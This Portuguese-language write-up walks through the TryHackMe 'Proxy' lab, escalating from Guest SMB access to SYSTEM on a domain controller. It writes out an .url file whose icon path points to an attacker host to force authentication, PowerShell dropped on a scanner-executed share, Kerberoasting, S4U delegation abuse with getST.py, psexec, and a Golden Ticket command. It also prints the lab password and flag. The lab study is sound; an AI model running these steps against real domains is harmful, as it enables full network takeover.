Proxy — de Guest a SYSTEM usando delegação Kerberos
Comecei a room Proxy, do TryHackMe, com uma única informação: o IP do alvo. Nada de usuário, senha ou descrição da infraestrutura. O trabalho foi entender o ambiente, encontrar uma entrada e seguir as pistas até obter NT AUTHORITY\SYSTEM no controlador de domínio.
O caminho acabou sendo mais interessante que uma exploração direta de CVE: um compartilhamento SMB gravável pelo Guest executava scripts com uma conta de serviço que tinha delegação Kerberos restrita configurada.
Ambiente: laboratório autorizado do TryHackMe. Nos comandos, substitua
<dc-ip>pelo IP atual do alvo,<attacker-ip>pelo da AttackBox e ajuste os nomes de domínio/host quando estiver em outro CTF.
Índice
- Visão geral do caminho
- Reconhecimento: descobrindo o Active Directory
- SMB: acesso Guest e arquivos encontrados
- O teste com
.urlque não funcionou - RCE: fazendo o scanner executar PowerShell
- Enumerando o contexto com winPEAS
- Caminhos testados e descartados
- Kerberoasting: uma pista que não virou senha
- Encontrando a delegação Kerberos restrita
- Kerberos, tickets, S4U2Self e S4U2Proxy
- Gerando e utilizando o ticket de Administrator
- SMB administrativo, PsExec e flag
- Erros úteis e lembretes
- Checklist para outros CTFs
- Referências e estudos relacionados
- Apêndice: Kerberoasting, Golden Ticket e
export
1. Visão geral do caminho
IP desconhecido
│
├─ Nmap + LDAP + DNS → DC01.ctf.local (AD)
│
└─ SMB Guest → IT-Shared com READ/WRITE
│
scanner a cada 2 min
│
arquivo .ps1 executado
│
CTF\svc.scanner
│
winPEAS → senha AutoLogon
│
LDAP → delegação para cifs/DC01
│
getST.py → S4U2Self + S4U2Proxy
│
ticket CIFS como Administrator
│
smbclient.py → C$
│
psexec.py → SYSTEM
│
flag.txt
Principal aprendizado: o primeiro acesso não precisa ser administrativo. O que importa é descobrir o que a conta comprometida pode fazer dentro do domínio.
2. Reconhecimento: descobrindo o Active Directory
Portas e serviços
Comecei pela enumeração básica dos serviços mais comuns de um ambiente Windows/AD:
nmap -p 88,135,139,389,445 -sV -sC <dc-ip>
| Porta | Serviço | Pista |
|---|---|---|
88 |
Kerberos | Autenticação de domínio |
135 |
MSRPC | Serviços RPC do Windows |
139/445 |
NetBIOS/SMB | Compartilhamentos e autenticação Windows |
389 |
LDAP | Diretório do Active Directory |
O Nmap identificou DC01, domínio ctf.local, SMBv1 desabilitado e SMB Signing obrigatório.
Lembrete: SMB Signing required dificulta o NTLM relay convencional para o SMB desse servidor. Não impede, por si só, um login Kerberos legítimo com um ticket autorizado, como fizemos no final.
LDAP sem credenciais
ldapsearch -x -H ldap://<dc-ip> -s base
O RootDSE respondeu sem autenticação e trouxe:
rootDomainNamingContext: DC=ctf,DC=local
defaultNamingContext: DC=ctf,DC=local
dnsHostName: DC01.ctf.local
isGlobalCatalogReady: TRUE
| Opção | O que faz |
|---|---|
-x |
Autenticação LDAP simples (sem SASL) |
-H |
Endereço do servidor LDAP |
-s base |
Consulta apenas o objeto-base, aqui o RootDSE |
Isso não significa que todo o AD permita enumeração anônima: apenas que as informações do RootDSE estavam disponíveis.
Confirmar serviços pelo DNS
nslookup -type=SRV _ldap._tcp.dc._msdcs.ctf.local <dc-ip>
nslookup -type=SRV _kerberos._tcp.ctf.local <dc-ip>
nslookup -type=MX ctf.local <dc-ip>
Os registros SRV apontavam para DC01.ctf.local, nas portas 389 e 88. A consulta MX não retornou resposta; isso não indica ausência de domínio, apenas que não houve registro MX na resposta.
| Nome | Significado |
|---|---|
DC01 |
Nome NetBIOS do computador |
CTF |
Nome NetBIOS do domínio |
ctf.local |
Domínio DNS do AD |
DC01.ctf.local |
FQDN: nome completo do host |
3. SMB: acesso Guest e arquivos encontrados
Listar os compartilhamentos
smbclient -L //<dc-ip> -N
netexec smb <dc-ip> -u guest -p '' --shares
-L lista os compartilhamentos; -N não solicita senha. O NetExec ajuda a conferir as permissões efetivamente anunciadas/testadas para Guest.
O resultado importante foi:
IPC$ READ
IT-Shared READ,WRITE
Também havia ADMIN$, C$, NETLOGON e SYSVOL, mas a listagem não comprovava acesso Guest a essas shares administrativas.
Entrei na pasta e confirmei que ela aceitava upload:
smbclient //<dc-ip>/IT-Shared -U 'guest%'
No prompt SMB, o comando put arquivo.txt enviava arquivos para a share.
Sem entrar no prompt interativo, a forma mais direta é:
smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put arquivo.txt'
| Sintaxe | Explicação |
|---|---|
guest% |
Usuário guest e senha vazia após % |
-c 'put ...' |
Executa um comando SMB e encerra a conexão |
put / get |
Envia / baixa arquivo |
-c 'put x; ls' |
Permite executar mais de um comando |
Lendo os arquivos da share
Encontrei três arquivos: um portal HTML e dois TXT.
IT-Credentials-Backup.txt trazia senhas antigas para helpdesk.bob e it.admin. As próprias anotações diziam que as contas estavam desabilitadas. Era uma pista sobre o padrão de senhas, não um acesso confirmado.
IT-Portal.html revelava usuários como j.smith, m.jones e svc.helpdesk, além de mencionar DC01, SRV01 e SRV02. Esses últimos apareceram no portal, mas não foram confirmados como hosts ativos na enumeração posterior.
IT-Onboarding-Checklist.txt continha a pista decisiva:
File Scanner (
svc.scanner) — runs every 2 minutes; enumeratesIT-Sharedfor new files; uses Shell enumeration to inspect metadata and icons.
O mesmo checklist citava svc.mssql como membro de Backup Operators. Guardei essa informação para investigar depois.
Raciocínio: se uma conta Guest consegue gravar em uma pasta processada automaticamente, preciso descobrir o que a rotina faz com os arquivos, e não apenas quais arquivos existem.
4. O teste com .url que não funcionou
A palavra icons sugeriu um arquivo .url com IconFile apontando para um servidor SMB externo:
cat > teste.url <<'EOF'
[InternetShortcut]
URL=https://example.com
IconFile=\\<attacker-ip>\probe\test.ico
IconIndex=0
EOF
Na AttackBox, iniciei um servidor SMB:
smbserver.py probe . -smb2support
Enviei teste.url para IT-Shared, mas nenhuma conexão chegou ao servidor SMB.
Por que não funcionou? Um Windows Explorer que renderiza ícones pode tentar acessar IconFile, mas enumerar arquivos pela Shell API não garante carregar o ícone remoto. Nesse teste, não houve evidência de callback. O comportamento exato do scanner ainda precisava ser descoberto.
Diferença importante: um
.urlcom ícone UNC pode causar autenticação SMB/NTLM em condições específicas; ele não é, por si só, uma reverse shell. Captura de Net-NTLMv2, NTLM relay e execução de comandos são técnicas diferentes.
5. RCE: fazendo o scanner executar PowerShell
O teste seguinte foi simples: colocar um .ps1 na pasta e verificar se algum processo o executaria. Em vez de começar com uma shell, fiz um script que criava uma prova com data e usuário.
cat > scanner-probe.ps1 <<'EOF'
"Executed: $(Get-Date -Format o) - User: $([Security.Principal.WindowsIdentity]::GetCurrent().Name)" |
Set-Content -Path '\\DC01.ctf.local\IT-Shared\scanner-proof.txt'
EOF
smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put scanner-probe.ps1'
No próximo ciclo, o arquivo scanner-proof.txt apareceu:
Executed: 2026-10-22T13:16:02... - User: CTF\svc.scanner
Isso confirmou execução de PowerShell como CTF\svc.scanner. O arquivo foi atualizado novamente depois, compatível com a execução recorrente.
| Trecho | Função |
|---|---|
$(...) |
Avalia uma expressão dentro da string PowerShell |
Get-Date -Format o |
Data/hora em formato ISO |
WindowsIdentity...Name |
Obtém a identidade do processo atual |
\| |
Encaminha a string para Set-Content |
Set-Content |
Cria/sobrescreve a prova em TXT |
Por que isso é RCE?
A conta Guest só precisava de escrita no compartilhamento. Já a rotina svc.scanner executava conteúdo que não deveria considerar confiável.
Guest grava arquivo .ps1
↓
Scanner executa o script
↓
Código roda com os direitos de svc.scanner
Não obtive SYSTEM nessa etapa. Obtive execução como usuário comum do domínio, suficiente para fazer enumeração autenticada.
Dica: antes de tentar reverse shell, payload ou exploit, use uma prova inofensiva (
whoami, criação de TXT). Assim você distingue upload bem-sucedido de execução realmente confirmada.
6. Enumerando o contexto com winPEAS
Primeiro pedi ao scanner para executar whoami /all e salvar o resultado:
whoami /all | Out-File '\\DC01.ctf.local\IT-Shared\scanner-context.txt' -Encoding UTF8
O token era de integridade Medium, sem Administrators, SeImpersonatePrivilege, SeDebugPrivilege ou SeBackupPrivilege.
Depois utilizei o winPEAS para procurar configurações inseguras e credenciais.
wget -q https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe
smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put winPEASx64.exe'
O scanner executava .ps1, não um .exe enviado isoladamente. Por isso, criei um script lançador que copiava o binário para a pasta temporária, executava categorias de enumeração e salvava a saída na share:
cat > scanner-winpeas.ps1 <<'EOF'
$share = '\\DC01.ctf.local\IT-Shared'
if (Test-Path "$share\winpeas.started") { exit }
$exe = "$env:TEMP\winPEASx64.exe"
Copy-Item "$share\winPEASx64.exe" $exe -Force
$p = Start-Process -FilePath $exe `
-ArgumentList @('quiet','systeminfo','userinfo','servicesinfo') `
-RedirectStandardOutput "$share\winpeas.txt" `
-RedirectStandardError "$share\winpeas.err" -PassThru
"PID $($p.Id)" | Set-Content "$share\winpeas.started"
EOF
smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put scanner-winpeas.ps1'
O marcador winpeas.started evita disparar outra instância a cada ciclo. No relatório, winpeas.txt traz a enumeração; winpeas.err registra possíveis erros. O primeiro teste foi limitado às categorias systeminfo, userinfo e servicesinfo.
Achado decisivo: AutoLogon
O winPEAS encontrou no registro Winlogon:
AutoAdminLogon: 1
DefaultDomainName: CTF
DefaultUserName: svc.scanner
DefaultPassword: 1summerlove!
Por que estava ali? O AutoLogon guarda informações que permitem o login automático no Windows. Nesse laboratório, isso expôs a senha da conta que executava nossos scripts.
Ainda não era a senha do Administrator, mas agora tínhamos credenciais reais de svc.scanner, úteis para autenticar diretamente no Kerberos e consultar o AD.
Outras pistas do relatório
| Achado | Consequência na room |
|---|---|
Windows Server 2019, build 17763.1821 |
Sistema antigo, com possíveis CVEs, mas não foi o caminho utilizado |
| Print Spooler em execução | Possível rota de escalação local; não precisou ser explorada |
Defender excluindo C:\Scripts e C:\IT-Shared |
Ajuda a entender por que o laboratório aceita binários/scripts nessas pastas |
| Sem privilégios importantes no token | Credential dumping direto de LSASS/NTDS não era o próximo passo óbvio |
svc.mssql em Backup Operators |
Conta interessante, mas ainda sem senha |
Atenção: o winPEAS marcou várias CVEs apenas por versão/condições. Um alerta não é prova de exploração possível. A room foi concluída sem usar essas CVEs.
7. Caminhos testados e descartados
RDP e WinRM
nmap -Pn -p 3389,5985,5986 <dc-ip>
A porta 3389 estava aberta, mas o FreeRDP recebeu Connection reset by peer; 5985/5986 estavam filtradas externamente. No próprio Windows, TermService e o listener RDP estavam ativos.
Isso não demonstrou erro de senha: a conexão falhou no transporte. O grupo Remote Desktop Users estava vazio, mas esse dado sozinho também não explica a quebra da sessão.
Rede e reverse shell
A enumeração interna (ipconfig /all, route print -4, arp -a, netstat -ano) mostrou o DC01 e seus serviços. A consulta ao AD retornou apenas DC01; os nomes SRV01 e SRV02, vistos no HTML, não resolveram via DNS.
Um teste com TcpClient confirmou que o DC01 conseguia estabelecer conexão TCP de saída para a AttackBox na porta escolhida. A reverse shell também foi obtida, tornando a enumeração mais prática, mas continuávamos com os direitos de svc.scanner.
Lembrete: reverse shell é uma forma de interação, não uma elevação de privilégios. Uma shell como
svc.scannercontinua tendo as permissões desse usuário.
Credenciais antigas, Backup Operators e CVEs
As duas senhas do backup estavam associadas a contas desabilitadas. svc.mssql tinha privilégios interessantes por grupo, mas ainda faltava a senha. A possibilidade de exploração do Print Spooler foi considerada, não testada com sucesso nem necessária para a flag.
8. Kerberoasting: uma pista que não virou senha
Como já tinha a senha de svc.scanner, enumerei as contas com SPNs (Service Principal Names) registrados:
GetUserSPNs.py 'ctf.local/svc.scanner' -dc-ip <dc-ip> -request
A ferramenta solicitou a senha e identificou:
scanner/DC01 svc.scanner constrained
scanner/DC01.ctf.local svc.scanner constrained
MSSQLSvc/DC01:1433 svc.mssql
MSSQLSvc/DC01.ctf.local:1433 svc.mssql
SPN identifica uma instância de serviço no AD. MSSQLSvc/..., por exemplo, indica o nome Kerberos usado para um serviço SQL — não prova que exista uma instância SQL acessível naquele momento.
O Kerberoasting permite solicitar um ticket de serviço (TGS) e tentar recuperar offline a senha da conta associada à sua chave. Testei o ticket RC4 (etype 23) de svc.mssql com:
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Resultado: Exhausted, Recovered: 0/1. A wordlist inteira foi testada, sem recuperar a senha. O mesmo ocorreu no John.
| Parâmetro | Significado |
|---|---|
-request |
Solicita tickets TGS para os SPNs encontrados |
-m 13100 |
Hashcat: Kerberos 5 TGS-REP etype 23 / RC4-HMAC |
--format=krb5tgs |
Formato equivalente no John |
--show |
Exibe senhas recuperadas anteriormente, se houver |
Por que não insisti? Falhar com rockyou.txt não torna o hash inválido nem prova que a senha seja impossível de quebrar. Só significa que aquela lista não encontrou a senha. A coluna constrained da própria enumeração sugeria um caminho melhor: delegação Kerberos.
9. Encontrando a delegação Kerberos restrita
Consultei diretamente o objeto da conta no LDAP:
ldapsearch -x -LLL -H ldap://<dc-ip> \
-D 'svc.scanner@ctf.local' -W \
-b 'DC=ctf,DC=local' \
'(sAMAccountName=svc.scanner)' \
msDS-AllowedToDelegateTo userAccountControl
Resultado:
userAccountControl: 16843264
msDS-AllowedToDelegateTo: cifs/DC01
msDS-AllowedToDelegateTo: cifs/DC01.ctf.local
| Campo | Por que importa |
|---|---|
-D |
Faz o bind LDAP como svc.scanner |
-W |
Solicita senha interativamente |
-b |
Define a base da busca no AD |
msDS-AllowedToDelegateTo |
Lista os serviços aos quais essa conta pode delegar |
userAccountControl |
Bits de configuração e estado da conta |
O valor 16843264 (0x1010200) inclui NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD e TRUSTED_TO_AUTH_FOR_DELEGATION. Com isso, a conta podia usar a transição de protocolo para solicitar tickets em nome de outros usuários, dentro dos SPNs permitidos.
E o serviço permitido era justamente cifs/DC01.ctf.local — o serviço SMB do controlador de domínio.
O detalhe decisivo: não foi necessário descobrir a senha de Administrator. O AD já confiava em
svc.scannerpara delegar autenticação ao CIFS do DC01. Com a senha da conta delegadora, pudemos pedir um ticket representando outro usuário para esse serviço específico.
10. Kerberos, tickets, S4U2Self e S4U2Proxy
Como funciona o Kerberos normal
[Usuário + credencial]
│
▼
[KDC / Active Directory]
│ entrega TGT
▼
[TGT: Ticket Granting Ticket]
│ solicita acesso a um SPN
▼
[KDC] ── entrega TGS ──▶ [Serviço: CIFS / HTTP / MSSQL...]
| Termo | Resumo |
|---|---|
| KDC | Centro de distribuição de tickets; nos domínios AD, roda nos DCs |
| TGT | Ticket inicial usado para solicitar outros tickets |
| TGS / Service Ticket | Ticket para um serviço específico, como cifs/DC01 |
| SPN | Identificador daquele serviço no Kerberos |
.ccache |
Arquivo que armazena credenciais/tickets Kerberos para ferramentas como Impacket |
Um ticket de serviço não dá acesso universal. Ele tem identidade, destino e validade. O que conseguimos foi um ticket para CIFS no DC01, não a senha de Administrator nem a chave de KRBTGT.
O que muda na delegação restrita?
A delegação existe para serviços que precisam acessar outro serviço em nome do usuário. Exemplo legítimo: um portal autenticado acessa um servidor de arquivos em nome de alguém.
Nesta room, a conta svc.scanner podia delegar para CIFS. O Impacket usou duas operações:
- S4U2Self (Service for User to Self): o serviço pede um ticket para si mesmo representando Administrator.
- S4U2Proxy (Service for User to Proxy): usa esse contexto para pedir ao KDC um ticket de Administrator destinado ao CIFS do DC01, autorizado pela delegação.
Senha svc.scanner
│
▼
getST.py → TGT de svc.scanner
│
▼
S4U2Self → representar Administrator para o próprio serviço
│
▼
S4U2Proxy → ticket Administrator para cifs/DC01.ctf.local
│
▼
.cCACHE → autenticação Kerberos no SMB
Por que funcionou? A configuração de delegação e a identidade da conta permitiram ao KDC emitir o ticket solicitado. O domínio não estava aceitando uma senha falsa: estava cumprindo uma autorização de delegação perigosa.
Leia também a visão geral de Kerberos Constrained Delegation da Microsoft e o código/documentação do getST.py.
11. Gerando e utilizando o ticket de Administrator
Gerar o ticket via Impacket
Na AttackBox:
getST.py -dc-ip <dc-ip> \
-spn cifs/DC01.ctf.local \
-impersonate Administrator \
'ctf.local/svc.scanner'
A senha solicitada era a de svc.scanner, recuperada no AutoLogon.
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
| Parâmetro | Função |
|---|---|
-dc-ip |
IP do controlador de domínio |
-spn cifs/DC01.ctf.local |
Serviço para o qual o ticket será emitido |
-impersonate Administrator |
Usuário que o ticket representará |
ctf.local/svc.scanner |
Conta autorizada a fazer a delegação |
O sucesso de S4U2Self + S4U2Proxy e o arquivo .ccache criado confirmaram emissão do ticket; o acesso remoto ainda precisava ser validado.
Configurar o cache Kerberos
export KRB5CCNAME="$PWD/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache"
KRB5CCNAME aponta o Impacket para o arquivo que contém o ticket. O export disponibiliza a variável ao terminal e aos processos filhos; não cria nem prolonga o ticket.
O erro que apareceu: nome não resolvido
A primeira tentativa de SMB retornou:
Connection error (DC01.ctf.local:445): Name or service not known
O ticket estava correto; a AttackBox é que não resolvia o FQDN. Corrigi no /etc/hosts:
echo '<dc-ip> DC01.ctf.local DC01' >> /etc/hosts
getent hosts DC01.ctf.local
Lembrete:
-dc-ipdiz onde está o KDC, mas não substitui necessariamente a resolução de nomes usada na conexão SMB. O SPN e o nome do host precisam ser coerentes com o ticket.
12. SMB administrativo, PsExec e flag
Validar o ticket com SMB
smbclient.py -k -no-pass \
-dc-ip <dc-ip> \
ctf.local/Administrator@DC01.ctf.local
| Opção | Significado |
|---|---|
-k |
Usa Kerberos e o cache indicado por KRB5CCNAME |
-no-pass |
Não solicita senha novamente |
Administrator@DC01.ctf.local |
Identidade e host para o acesso SMB |
No prompt do smbclient.py:
# shares
ADMIN$
C$
IPC$
IT-Shared
NETLOGON
SYSVOL
# use C$
# ls
Consegui acessar C$, a share administrativa do disco Windows. Isso comprovou que o ticket tinha acesso SMB privilegiado.
Importante:
smbclient.pynão é um shell Windows. Ali existem comandos próprios (shares,use,ls,get,put). Por issowhoami,getuidedirretornaram Unknown syntax.use C$funcionou;use Cnão, porque o$faz parte do nome da share.
Execução remota com PsExec
Com o ticket já validado:
psexec.py -k -no-pass \
-dc-ip <dc-ip> \
ctf.local/Administrator@DC01.ctf.local
O Impacket:
Found writable share ADMIN$
Uploading file ...exe
Opening SVCManager...
Creating service ...
Starting service ...
O PsExec precisou de acesso à share administrativa e permissão para criar/iniciar serviços. Como a autenticação se deu com o ticket de Administrator, a operação foi permitida. O serviço criado pelo PsExec iniciou a shell como LocalSystem.
whoami
Resultado:
nt authority\system
Flag final:
cd C:\Users\Administrator\Desktop
type flag.txt
THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}
Room concluída: Guest → svc.scanner → ticket CIFS de Administrator → SYSTEM.
13. Erros úteis e lembretes
| Sintoma | Causa / o que aprendi |
|---|---|
.url enviado, mas nenhum callback SMB |
Enumerar arquivos não garante renderização do ícone remoto |
hashcat: Exhausted (0/1) |
O hash foi testado, mas a wordlist não encontrou a senha |
RDP Connection reset by peer |
Falha de transporte, não prova senha inválida |
Name or service not known |
Corrigir DNS//etc/hosts, mesmo informando -dc-ip |
ls no cmd.exe |
No CMD Windows, use dir; ls é comum no Linux/PowerShell |
whoami no smbclient.py |
SMB client navega em shares, não executa comandos do sistema |
psexec.py travou após listagem enorme |
Evitar dir C:\Windows\System32 sem filtro; reconectar e consultar diretórios específicos |
| Ticket não encontrado após abrir outro terminal | Repetir export KRB5CCNAME=... naquela sessão |
O ticket expira? Dá para manter a shell para sempre?
Não. Tickets Kerberos têm validade definida pelo domínio. O export só seleciona um cache; não renova tickets. Se uma sessão cair e o arquivo .ccache ainda estiver válido, posso reutilizá-lo. Se o ticket expirar, preciso solicitar outro, usando novamente a autorização disponível.
echo "$KRB5CCNAME" # arquivo apontado pelo shell atual
klist -c "$KRB5CCNAME" # inspeciona tickets e validade (se klist instalado)
unset KRB5CCNAME # remove a variável, não o arquivo
Para evitar queda por saída enorme, prefira comandos direcionados (dir C:\Users\Administrator\Desktop em vez de listar System32 inteiro). Se o processo psexec.py encerrar, execute-o novamente com o ticket válido.
14. Checklist para outros CTFs
| Etapa | Pergunta-chave | Ferramentas |
|---|---|---|
| Recon | É Windows? É AD? Qual é o DC/domínio? | nmap, ldapsearch, nslookup |
| SMB | Guest/anônimo acessa algo? Pode escrever? | smbclient, netexec |
| Pistas | Há TXT, HTML, scripts, tarefas agendadas? | get, cat, leitura de artefatos |
| Execução | Algo consome a pasta? O arquivo roda? | Script de prova (whoami, TXT) |
| Contexto | Qual usuário, grupo e privilégio? | whoami /all, net user, winPEAS |
| Credenciais | AutoLogon, configs e serviços revelam segredos? | winPEAS, registro, arquivos legíveis |
| Kerberos | Há SPNs? Delegação? Para quais serviços? | GetUserSPNs.py, ldapsearch |
| Ticket | S4U é permitido para o SPN correto? | getST.py, KRB5CCNAME |
| Validação | Ticket acessa uma share administrativa? | smbclient.py -k -no-pass |
| Objetivo | Execução privilegiada foi comprovada? | psexec.py, whoami |
Meu resumo da room: não foi o Kerberoasting, nem uma CVE do Windows, nem a reverse shell que levou ao
SYSTEM. Foi entender a configuração de confiança da contasvc.scannerno Kerberos.
15. Referências e estudos relacionados
- Impacket — scripts e exemplos
getST.py— S4U e delegação no código do Impacket- Microsoft — Kerberos Constrained Delegation
- winPEAS / PEASS-ng
- Checkmate — Quebrando senhas!, para revisar wordlists e cracking de senhas
16. Apêndice — Kerberoasting, Golden Ticket e export
Essas técnicas são úteis para estudos de AD, mas não são a mesma coisa e Golden Ticket não foi necessário na Proxy.
A. Kerberoasting (ticket de serviço → tentativa offline de senha)
Um usuário autenticado solicita um TGS para um SPN. Parte do material retornado é protegida por uma chave derivada da senha da conta de serviço; o ataque testa candidatos offline, sem conhecer a senha de início.
GetUserSPNs.py '<dominio>/<usuario>' -dc-ip <dc-ip> -request
hashcat -m 13100 service_ticket.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 service_ticket.txt --show
-request: pede os tickets TGS dos SPNs encontrados.13100: formato de TGS-REP etype 23 (RC4-HMAC) no Hashcat; outros etypes usam modos diferentes.--show: exibe a recuperação, se já houver senha encontrada.
Se uma senha for recuperada, a autorização ainda dependerá dos direitos dessa conta e do serviço de destino. Na Proxy, o ticket de svc.mssql não foi quebrado com rockyou.txt.
B. Golden Ticket (chave KRBTGT comprometida → TGT forjado)
Golden Ticket é outro cenário: exige a chave da conta KRBTGT e o SID do domínio. Com esses dados, é possível criar um TGT forjado, sujeito às verificações e restrições do ambiente.
ticketer.py -nthash <hash-krbtgt> \
-domain-sid <sid-do-dominio> \
-domain <dominio> Administrator
Isso gera um arquivo de cache, por exemplo Administrator.ccache:
export KRB5CCNAME="$PWD/Administrator.ccache"
smbclient.py -k -no-pass \
-dc-ip <dc-ip> \
<dominio>/Administrator@<host-fqdn>
| Opção | O que faz |
|---|---|
-nthash |
Chave NTLM da KRBTGT, quando aplicável ao cenário |
-domain-sid |
SID base do domínio |
-domain |
Nome do domínio no ticket |
Administrator |
Identidade indicada na criação do ticket |
-k -no-pass |
Usa Kerberos do cache, sem solicitar senha |
Comparando as técnicas:
| Técnica | O que preciso ter? | O que obtenho? |
|---|---|---|
| Kerberoasting | Usuário autenticado e SPN apropriado | Material para tentar quebrar senha de serviço |
| Constrained Delegation / S4U | Controle de conta com delegação permitida | Ticket de serviço para identidade/SPN autorizados |
| Golden Ticket | Chave KRBTGT e dados do domínio |
TGT forjado, não limitado a um único SPN como o TGS de CIFS |
C. Onde o export guarda o ticket?
export KRB5CCNAME="$PWD/Administrator.ccache"
São coisas diferentes:
KRB5CCNAMEé uma variável de ambiente mantida no processo do shell e herdada pelos comandos iniciados nele.Administrator.ccacheé o arquivo físico que contém tickets/credenciais, salvo no disco.
$PWD é o diretório atual. Ao usá-lo, o caminho fica absoluto e não depende de onde o próximo comando for executado.
echo "$KRB5CCNAME" # mostra qual arquivo foi selecionado
ls -l "$KRB5CCNAME" # confirma se o arquivo existe
unset KRB5CCNAME # remove a variável do shell atual
O export não persiste para novas sessões nem aumenta o tempo de vida do ticket. Por isso, quando abri um novo terminal, precisei configurar a variável novamente. O arquivo .ccache permaneceu no disco.
Para não confundir: na Proxy, usei um ticket CIFS emitido via S4U. Não possuía a chave
KRBTGTe não criei um Golden Ticket.